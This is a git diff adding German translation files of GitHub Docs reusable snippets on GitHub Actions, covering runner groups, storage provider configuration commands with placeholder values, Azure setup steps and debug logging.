diff --git a/translations/de-DE/data/reusables/actions/checkout-action-table-entry.md b/translations/de-DE/data/reusables/actions/checkout-action-table-entry.md
new file mode 100644
index 0000000000..2c24bc91d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/checkout-action-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 43521ec1b1fa3bc241211be24454379e4a06a1f8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060561"
+---
+| Klonen deines Repositorys an den Runner: | [`actions/checkout`](https://github.com/actions/checkout)|
diff --git a/translations/de-DE/data/reusables/actions/choose-repo.md b/translations/de-DE/data/reusables/actions/choose-repo.md
new file mode 100644
index 0000000000..1ff5988cdd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/choose-repo.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 26e2b5d97904acc2b1f592bbd252ab3f9bf45279
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876801"
+---
+Wähle ein Repository aus, in dem du diesen Projektverwaltungsworkflow anwenden möchtest. Du kannst ein vorhandenes Repository verwenden, auf das du Schreibzugriff hast, oder du kannst ein neues Repository erstellen. Weitere Informationen zum Erstellen eines Repositorys findest du unter [Erstellen eines neuen Repositorys](/articles/creating-a-new-repository).
diff --git a/translations/de-DE/data/reusables/actions/commit-workflow.md b/translations/de-DE/data/reusables/actions/commit-workflow.md
new file mode 100644
index 0000000000..db858b2335
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/commit-workflow.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 85a351d5fc1c2e5213958bb8330a6367713acc39
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105111"
+---
+Committe deine Workflowdatei in den Standardbranch deines Repositorys. Weitere Informationen findest du unter [Erstellen neuer Dateien](/github/managing-files-in-a-repository/creating-new-files).
diff --git a/translations/de-DE/data/reusables/actions/comparing-artifacts-caching.md b/translations/de-DE/data/reusables/actions/comparing-artifacts-caching.md
new file mode 100644
index 0000000000..36810b564a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/comparing-artifacts-caching.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 48326e29174e0cba6f56d99436271a68f65189bc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105108"
+---
+## Vergleich: Artefakte v/s Zwischenspeicherung von Abhängigkeiten
+
+Artefakte und Caching sind ähnlich, da sie die Möglichkeit bieten, Dateien auf {% data variables.product.prodname_dotcom %} zu speichern, aber die beiden Funktionalitäten bieten verschiedene Anwendungsfälle und dürfen nicht miteinander verwechselt werden.
+
+- Verwende die Zwischenspeicherung, wenn du Dateien wiederverwenden möchtest, die sich zwischen Aufträgen oder Workflowausführungen nur selten verändern, zum Beispiel Buildabhängigkeiten aus einem Paketverwaltungssystem.
+- Verwende Artefakte, wenn du von einem Auftrag generierte Dateien speichern möchtest, um diese nach einer Workflowausführung zu öffnen, zum Beispiel Binärdateien oder Buildprotokolle. 
diff --git a/translations/de-DE/data/reusables/actions/concurrency-table-entry.md b/translations/de-DE/data/reusables/actions/concurrency-table-entry.md
new file mode 100644
index 0000000000..3ddaa7dd11
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/concurrency-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b6bc7abd43c8112d8cff08d93661c831d609d37c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147065074"
+---
+| Steuern der Anzahl der gleichzeitig ausführbaren Workflows und Aufträge: | [`concurrency`](/actions/using-jobs/using-concurrency)|
diff --git a/translations/de-DE/data/reusables/actions/configure-runner-group-access.md b/translations/de-DE/data/reusables/actions/configure-runner-group-access.md
new file mode 100644
index 0000000000..42999d8e42
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/configure-runner-group-access.md
@@ -0,0 +1,14 @@
+{% data reusables.actions.configure-runner-group %}
+1. Modify your policy options.
+   
+   {% ifversion not ghae %}
+   {% warning %}
+
+   **Warning**
+
+   {% indented_data_reference reusables.actions.self-hosted-runner-security spaces=3 %}
+
+   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+
+   {% endwarning %}
+   {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/configure-runner-group.md b/translations/de-DE/data/reusables/actions/configure-runner-group.md
new file mode 100644
index 0000000000..4814272e03
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/configure-runner-group.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: be5e5183195b57d212bccef0f9053dea7fffcddf
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147764020"
+---
+1. Klicke auf der Seite „Einstellungen“ im Abschnitt „Runner“ neben der Runnergruppe, die du konfigurieren möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Namen und Zugriff von [Organisation|Repository] bearbeiten**.
+    ![Verwalten von Repositoryberechtigungen](/assets/images/help/settings/actions-runner-manage-permissions.png)
diff --git a/translations/de-DE/data/reusables/actions/configure-storage-provider-platform-commands.md b/translations/de-DE/data/reusables/actions/configure-storage-provider-platform-commands.md
new file mode 100644
index 0000000000..960e21c6e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/configure-storage-provider-platform-commands.md
@@ -0,0 +1,25 @@
+---
+ms.openlocfilehash: 46dc3c3d386ea78bb24c8a9154e6dceb8b5b75a8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107581"
+---
+- Azure Blob Storage:
+
+  ```shell{:copy}
+  ghe-config secrets.actions.storage.blob-provider "azure"
+  ```
+- Amazon S3:
+
+  ```shell{:copy}
+  ghe-config secrets.actions.storage.blob-provider "s3"
+  ```
+{%- ifversion actions-ghes-gcp-storage %}
+- Google Cloud Storage:
+  
+    ```shell{:copy}
+    ghe-config secrets.actions.storage.blob-provider "gcs"
+    ```
+{%- endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/actions/configure-storage-provider.md b/translations/de-DE/data/reusables/actions/configure-storage-provider.md
new file mode 100644
index 0000000000..b647dcc047
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/configure-storage-provider.md
@@ -0,0 +1,39 @@
+---
+ms.openlocfilehash: 0fe2a7baef7f3eb962aff1d834ce25b1e286f8c6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107589"
+---
+1. Konfiguriere die Verbindung mit dem externen Speicher, indem du die folgenden Befehle eingibst und dabei die Platzhalterwerte durch die tatsächlichen Werte für deine Verbindung ersetzt.
+
+   - Azure Blob Storage:
+
+     ```shell{:copy}
+     ghe-config secrets.actions.storage.azure.connection-string "CONNECTION STRING"
+     ```
+   - Amazon S3:
+
+     ```shell{:copy}
+     ghe-config secrets.actions.storage.s3.bucket-name "S3 BUCKET NAME"
+     ghe-config secrets.actions.storage.s3.service-url "S3 SERVICE URL"
+     ghe-config secrets.actions.storage.s3.access-key-id "S3 ACCESS KEY ID"
+     ghe-config secrets.actions.storage.s3.access-secret "S3 ACCESS SECRET"
+     ```
+
+     Optional kannst du auch den folgenden Befehl eingeben, um die Adressierung von S3 im Pfadformat zu erzwingen.
+
+     ```shell{:copy}
+     ghe-config secrets.actions.storage.s3.force-path-style true
+     ```
+{%- ifversion actions-ghes-gcp-storage %}
+   - Google Cloud Storage:
+
+     ```shell{:copy}
+     ghe-config secrets.actions.storage.gcs.service-url "SERVICE URL"
+     ghe-config secrets.actions.storage.gcs.bucket-name "BUCKET NAME"
+     ghe-config secrets.actions.storage.gcs.access-key-id "HMAC ACCESS ID"
+     ghe-config secrets.actions.storage.gcs.access-secret "HMAC SECRET"
+     ```
+{%- endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/actions/contacting-support.md b/translations/de-DE/data/reusables/actions/contacting-support.md
new file mode 100644
index 0000000000..a9e1bb385b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/contacting-support.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 27233f1168b7272a2a473ef81dc9484b44b26bde
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147648263"
+---
+Wenn du Hilfe im Zusammenhang mit der Workflowkonfiguration benötigst, z. B. zur Syntax, zu von {% data variables.product.prodname_dotcom %} gehosteten Runnern oder zum Erstellen von Aktionen, suche in der [{% data variables.product.prodname_github_community %}-Kategorie {% data variables.product.prodname_actions %} und {% data variables.product.prodname_registry %}](https://github.com/orgs/github-community/discussions/categories/actions-and-packages) nach einem vorhandenen Thema, oder starte ein neues Thema.
+
+Wenn du Feedback oder Feature-Anfragen zu {% data variables.product.prodname_actions %} abgeben möchtest, teile diese in den {% data variables.contact.contact_feedback_actions %}.
+
+Wende dich in den folgenden Fällen an den {% data variables.contact.contact_support %}, unabhängig davon, ob deine Nutzung oder beabsichtigte Nutzung in die Nutzungseinschränkungskategorien fällt:
+
+* Du bist der Meinung, dass dein Konto ungerechtfertigt eingeschränkt wurde
+* Beim Ausführen einer deiner Aktionen tritt ein unerwarteter Fehler auf
+* Es tritt eine Situation ein, in der das tatsächliche Verhalten nicht dem erwarteten (jedoch nicht immer dokumentierten) Verhalten entspricht
diff --git a/translations/de-DE/data/reusables/actions/container-jobs-intro.md b/translations/de-DE/data/reusables/actions/container-jobs-intro.md
new file mode 100644
index 0000000000..d383c9cd67
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/container-jobs-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8acbacc0b39b108fdd05473ceb85e65bfe0e92d0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105103"
+---
+Das Konfigurieren von Aufträgen für die Ausführung in einem Container vereinfacht die Netzwerkkonfigurationen zwischen dem Auftrag und den Dienstcontainern. Docker-Container im gleichen benutzerdefinierten Bridge-Netzwerk exponieren gegenseitig alle Ports, sodass Du keinen der Servicecontainer-Ports dem Docker-Host zuordnen musst. Mit der im Workflow konfigurierten Kennzeichnung kannst Du vom Auftrags-Container her auf den Dienst-Container zugreifen.
diff --git a/translations/de-DE/data/reusables/actions/context-contents.md b/translations/de-DE/data/reusables/actions/context-contents.md
new file mode 100644
index 0000000000..ea507fe9a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/context-contents.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 439fa690d39da766db2992f599c0fc1f5e859e81
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105099"
+---
+Kontexte, Objekte und Eigenschaften variieren bei verschiedenen Workflowausführungsbedingungen erheblich.
diff --git a/translations/de-DE/data/reusables/actions/context-example-note.md b/translations/de-DE/data/reusables/actions/context-example-note.md
new file mode 100644
index 0000000000..021765baa9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/context-example-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 0e8d3509fcda8d764135eab1f2b246175d060543
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105091"
+---
+{% note %}
+
+**Hinweis:** Dieser Kontext ist nur ein Beispiel. Der Inhalt eines Kontexts hängt vom ausgeführten Workflow ab. {% data reusables.actions.context-contents %}
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/context-injection-warning.md b/translations/de-DE/data/reusables/actions/context-injection-warning.md
new file mode 100644
index 0000000000..efd9399d79
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/context-injection-warning.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4197ada5ec17f050b4b6959b6bdbb1be94b80e40
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883100"
+---
+{% warning %}
+
+**Warnung:** Beim Erstellen von Workflows und Aktionen solltest du immer überprüfen, ob dein Code gegebenenfalls nicht vertrauenswürdige Eingaben von Angreifern ausführen kann. Bestimmte Kontexte sollten als nicht vertrauenswürdige Eingaben behandelt werden, da ein Angreifer seine eigenen schädlichen Inhalte einfügen könnte. Weitere Informationen findest du unter „[Grundlegendes zum Risiko von Skript-Einfügungen](/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)".
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/copy-workflow-file.md b/translations/de-DE/data/reusables/actions/copy-workflow-file.md
new file mode 100644
index 0000000000..aac0ed72c7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/copy-workflow-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: abc61b4a57ca559560aacdea011433460acaff74
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105087"
+---
+Du kannst diese Workflowdatei in das `.github/workflows`-Verzeichnis deines Repositorys kopieren und nach Bedarf ändern.
diff --git a/translations/de-DE/data/reusables/actions/create-azure-app-plan.md b/translations/de-DE/data/reusables/actions/create-azure-app-plan.md
new file mode 100644
index 0000000000..d017fbcaf0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/create-azure-app-plan.md
@@ -0,0 +1,25 @@
+---
+ms.openlocfilehash: 6058de00ebbc05baaa2e29cfba275fa2249b44a3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881195"
+---
+1. Erstellen eines Azure App Service-Plans
+
+   Du kannst beispielsweise die Azure CLI verwenden, um einen neuen App Service-Plan zu erstellen:
+
+   ```bash{:copy}
+   az appservice plan create \
+      --resource-group MY_RESOURCE_GROUP \
+      --name MY_APP_SERVICE_PLAN \
+      --is-linux
+   ```
+
+   Ersetze `MY_RESOURCE_GROUP` im obigen Befehl durch deine bereits vorhandene Azure-Ressourcengruppe und `MY_APP_SERVICE_PLAN` durch einen neuen Namen für den App Service-Plan.
+
+   Weitere Informationen zur Verwendung der [Azure-Befehlszeilenschnittstelle](https://docs.microsoft.com/cli/azure/) findest du in der Azure-Dokumentation:
+
+   * Informationen zur Authentifizierung findest du unter [Anmelden mit Azure CLI](https://docs.microsoft.com/cli/azure/authenticate-azure-cli).
+   * Informationen zu Erstellen einer neuen Ressourcengruppe findest du unter [az group](https://docs.microsoft.com/cli/azure/group?view=azure-cli-latest#az_group_create).
diff --git a/translations/de-DE/data/reusables/actions/create-azure-publish-profile.md b/translations/de-DE/data/reusables/actions/create-azure-publish-profile.md
new file mode 100644
index 0000000000..7b830e4a41
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/create-azure-publish-profile.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 00bdf100d02b27ce76aff35582cb4a1f5a2469a3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105083"
+---
+1. Konfiguriere ein Azure-Veröffentlichungsprofil, und erstelle ein `AZURE_WEBAPP_PUBLISH_PROFILE`-Geheimnis.
+
+   Generiere Anmeldeinformationen für deine Azure-Bereitstellung mithilfe eines Veröffentlichungsprofils. Weitere Informationen findest du unter [Generieren von Anmeldeinformationen für die Bereitstellung](https://docs.microsoft.com/azure/app-service/deploy-github-actions?tabs=applevel#generate-deployment-credentials) in der Azure-Dokumentation.
+
+   Erstelle in deinem {% data variables.product.prodname_dotcom %}-Repository ein Geheimnis namens `AZURE_WEBAPP_PUBLISH_PROFILE`, das den Inhalt des Veröffentlichungsprofils enthält. Weitere Informationen zum Erstellen von Geheimnissen findest du unter [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository).
diff --git a/translations/de-DE/data/reusables/actions/create-runner-group.md b/translations/de-DE/data/reusables/actions/create-runner-group.md
new file mode 100644
index 0000000000..977a60cd7c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/create-runner-group.md
@@ -0,0 +1 @@
+1. Click **{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}Create{%- elsif ghes < 3.4 or ghae < 3.4 %}Save{% endif %} group** to create the group and apply the policy.
diff --git a/translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md b/translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md
new file mode 100644
index 0000000000..e1c66d708e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md
@@ -0,0 +1,28 @@
+{% comment %} 
+
+Always include a security admonition above this procedure. This is either one of the following, depending on whether the context is self-hosted runners or larger runners.
+
+{% data reusables.actions.self-hosted-runner-security-admonition %}
+{% data reusables.actions.hosted-runner-security-admonition %}
+ 
+{% endcomment %}
+
+Enterprises can add their runners to groups for access management. Enterprises can create groups of runners that are accessible to specific organizations in the enterprise account{% ifversion restrict-groups-to-workflows %} or to specific workflows{% endif %}. Organization owners can then assign additional granular repository{% ifversion restrict-groups-to-workflows %} or workflow{% endif %} access policies to the enterprise runner groups. For information about how to create a runner group with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runner-groups).
+
+Runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group.
+
+When creating a group, you must choose a policy that defines which organizations have access to the runner group.
+
+{% data reusables.actions.runner-groups-add-to-enterprise-first-steps %}
+1. To choose a policy for organization access, select the **Organization access** drop-down, and click a policy. You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise.{% ifversion ghes %} By default, only private repositories can access runners in a runner group, but you can override this.{% endif %}
+
+   {%- ifversion ghec or ghes %}
+
+   ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
+   {%- elsif ghae %}
+
+   ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options-ae.png)
+   {%- endif %}
+{% data reusables.actions.runner-group-assign-policy-workflow %}
+1. Click **Save group** to create the group and apply the policy.
+
diff --git a/translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-organization.md b/translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-organization.md
new file mode 100644
index 0000000000..afe2577607
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-organization.md
@@ -0,0 +1,38 @@
+{% comment %} 
+
+Always include a security admonition above this procedure. This is either one of the following, depending on whether the context is self-hosted runners or larger runners.
+
+{% data reusables.actions.self-hosted-runner-security-admonition %}
+{% data reusables.actions.hosted-runner-security-admonition %}
+ 
+{% endcomment %}
+
+All organizations have a single default runner group. Organizations within an enterprise account can create additional groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)."
+
+Runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create.
+
+When creating a group, you must choose a policy that defines which repositories{% ifversion restrict-groups-to-workflows %} and workflows{% endif %} have access to the runner group.
+
+{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runner-groups %}
+1. In the "Runner groups" section, click **New runner group**.
+1. Enter a name for your runner group.
+ {% data reusables.actions.runner-group-assign-policy-repo %}
+{% data reusables.actions.runner-group-assign-policy-workflow %}{%- ifversion restrict-groups-to-workflows %} Organization-owned runner groups cannot access workflows from a different organization in the enterprise; instead, you must create an enterprise-owned runner group.{% endif %}
+{% data reusables.actions.create-runner-group %}
+{% elsif ghae < 3.4 or ghes < 3.4 %}
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.organizations.settings-sidebar-actions-runner-groups %}
+1. Under {% ifversion ghes or ghae %}"Runners"{% endif %}, click **Add new**, and then **New group**.
+
+    ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png)
+1. Enter a name for your runner group, and assign a policy for repository access.
+
+   You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization.{% ifversion ghec or ghes %} By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %}
+   
+   ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png)
+1. Click **Save group** to create the group and apply the policy.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/cron-table-entry.md b/translations/de-DE/data/reusables/actions/cron-table-entry.md
new file mode 100644
index 0000000000..551535f0eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/cron-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f0d4940206895e8c6385f0e95bd94773a2deaabf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067882"
+---
+| Ausführen eines Workflows in regelmäßigen Abständen: | [`schedule`](/actions/learn-github-actions/events-that-trigger-workflows#schedule) |
diff --git a/translations/de-DE/data/reusables/actions/defaults-override.md b/translations/de-DE/data/reusables/actions/defaults-override.md
new file mode 100644
index 0000000000..0c0b1a1770
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/defaults-override.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 26ca7697a6efc21a666ddb9550746e8609a20235
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103883"
+---
+Wenn mehr als eine Standardeinstellung mit dem gleichen Namen definiert ist, verwendet {% data variables.product.prodname_dotcom %} die spezifischste Standardeinstellung. Beispielsweise wird eine in einem Auftrag definierte Standardeinstellung die gleichnamig definierte Standardeinstellung in einem Workflow überschreiben.
diff --git a/translations/de-DE/data/reusables/actions/delete-env-key.md b/translations/de-DE/data/reusables/actions/delete-env-key.md
new file mode 100644
index 0000000000..cbfc9dcbdd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/delete-env-key.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1d719b2317f528435237d8d35bb27486aea99619
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103880"
+---
+Wenn du eine Bereitstellungsumgebung konfiguriert hast, ändere den Wert `environment` in den Namen deiner Umgebung. Wenn du keine Umgebung konfiguriert hast{% ifversion fpt or ghec %} oder wenn sich dein Workflow in einem privaten Repository befindet und du {% data variables.product.prodname_ghe_cloud %} nicht verwendest{% endif %}, lösche den `environment`-Schlüssel.
diff --git a/translations/de-DE/data/reusables/actions/disabled-actions-description.md b/translations/de-DE/data/reusables/actions/disabled-actions-description.md
new file mode 100644
index 0000000000..acc8c2126b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/disabled-actions-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fd910075a51775b681ec507845f3846718ae9574
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883505"
+---
+Wenn Du {% data variables.product.prodname_actions %} deaktivierst, werden keine Workflows in Deinem Repository ausgeführt.
diff --git a/translations/de-DE/data/reusables/actions/disabling-github-actions.md b/translations/de-DE/data/reusables/actions/disabling-github-actions.md
new file mode 100644
index 0000000000..ef2c62fe2f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/disabling-github-actions.md
@@ -0,0 +1 @@
+By default, {% ifversion ghes or ghae %}after {% data variables.product.prodname_actions %} is enabled on {% data variables.location.product_location %}, it{% elsif fpt or ghec %}{% data variables.product.prodname_actions %}{% endif %} is enabled on all repositories and organizations. You can choose to disable {% data variables.product.prodname_actions %} or limit it to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} in your {% ifversion ghec or ghes or ghae %}enterprise{% else %}organization{% endif %}.
diff --git a/translations/de-DE/data/reusables/actions/docker-container-os-support.md b/translations/de-DE/data/reusables/actions/docker-container-os-support.md
new file mode 100644
index 0000000000..7bd7137ec1
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/docker-container-os-support.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 8fbc87982e138f3a594dce7db5375c1d684a16ad
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103876"
+---
+{% note %}
+
+**Hinweis:** Wenn deine Workflows Docker-Containeraktionen, Auftragscontainer oder Dienstcontainer verwenden, musst du einen Linux-Runner verwenden:
+
+* Wenn du {% data variables.product.prodname_dotcom %}-gehostete Runner verwendest, musst du einen Ubuntu-Runner verwenden.
+* Wenn du selbst gehostete Läufer verwendest, musst du einen Linux-Rechner als deinen Läufer verwenden und Docker muss installiert sein.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/dockerfile-guidelines.md b/translations/de-DE/data/reusables/actions/dockerfile-guidelines.md
new file mode 100644
index 0000000000..04e4370cf3
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/dockerfile-guidelines.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 13094fe7066c2611ad2a1b1a2127a9c9fd02f46d
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879164"
+---
+1. Dokumentieren die erforderlichen Argumente in der README-Datei der Aktion, und lasse sie in der `CMD`-Anweisung weg.
+1. Verwende Standardwerte, die die Verwendung der Aktion ohne die Angabe von `args` ermöglichen.
+1. Wenn die Aktion ein `--help`-Flag oder etwas ähnliches verfügbar macht, verwende dies, damit die Aktion selbstdokumentierend wird.
diff --git a/translations/de-DE/data/reusables/actions/enable-debug-logging-cli.md b/translations/de-DE/data/reusables/actions/enable-debug-logging-cli.md
new file mode 100644
index 0000000000..ec8532cf68
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enable-debug-logging-cli.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 31b4f20532348b6aee0be1e4dc9277fd08123707
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882851"
+---
+Verwende zum Aktivieren der Runnerdiagnoseprotokollierung und schrittweisen Debugprotokollierung für die erneute Ausführung das `--debug`-Flag.
diff --git a/translations/de-DE/data/reusables/actions/enable-debug-logging.md b/translations/de-DE/data/reusables/actions/enable-debug-logging.md
new file mode 100644
index 0000000000..3bb6ebe169
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/enable-debug-logging.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 16757b530df232e4b667c3c7c05b8ad17b5d9930
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062722"
+---
+{% ifversion debug-reruns %}
+1. Um optional die Runnerdiagnoseprotokollierung und die schrittweise Debugprotokollierung für die erneute Ausführung zu aktivieren, wähle **Debugprotokollierung aktivieren** aus.
+   ![Debugprotokollierung aktivieren](/assets/images/help/repository/enable-debug-logging.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/actions/enabled-actions-description.md b/translations/de-DE/data/reusables/actions/enabled-actions-description.md
new file mode 100644
index 0000000000..72cc26842c
--- /dev/null
